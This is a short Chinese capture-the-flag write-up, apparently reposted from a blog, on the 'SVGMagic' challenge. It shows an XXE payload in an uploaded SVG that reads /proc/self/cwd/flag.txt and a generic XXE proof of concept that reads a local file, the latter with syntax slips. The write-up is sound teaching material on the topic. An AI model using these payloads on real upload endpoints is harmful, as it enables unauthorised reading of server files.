标签：xml XML SVGMagic SVG self 实体 svg cwd

SVG是一种用XML定义的语言，SVG图形是可交互的和动态的，可以在SVG文件中嵌入动画元素或通过脚本来定义动画。

也就是说这里的SVG是个XML,并且存在可控的内容，那么自然就会想到XXE。

本地新建一个a.svg，内容为：

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE note [
<!ENTITY file SYSTEM "file:///proc/self/cwd/flag.txt" >
]>
<svg height="100" width="1000">
  <text x="10" y="20">&file;</text>
</svg>

和一般的的xml poc对比一下：

一个简单的xml实例：（没有声明部分，即没有<?xml version=1.0 ?>,只有dtd部分和xml部分）

//dtd部分
<?DOCTYPE scan[
<!ENTITY test SYSTEM "file:///c:/1.txt">   //创建实体entity，把读出来的东西赋值给实体
]
>

//xml部分
<scan>$test;</scan>  //调用这个实体，可以理解为变量

这段xml代码中，scan可以变，但实体名不能变

把这个a.svg文件上传之后，后端php应该有调用这个svg文件的函数，执行了内容，并把结果返回到了svg定义的图片里

标签：xml,XML,SVGMagic,SVG,self,实体,svg,cwd
来源： https://www.cnblogs.com/hackerone/p/16500204.html

本站声明： 1. iCode9 技术分享网（下文简称本站）提供的所有内容，仅供技术学习、探讨和分享；
2. 关于本站的所有留言、评论、转载及引用，纯属内容发起人的个人观点，与本站观点和立场无关；
3. 关于本站的所有言论和文字，纯属内容发起人的个人观点，与本站观点和立场无关；
4. 本站文章均是网友提供，不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属；如您发现该文章侵犯了您的权益，可联系我们第一时间进行删除；
5. 本站为非盈利性的个人网站，所有内容不会用来进行牟利，也不会利用任何形式的广告来间接获益，纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。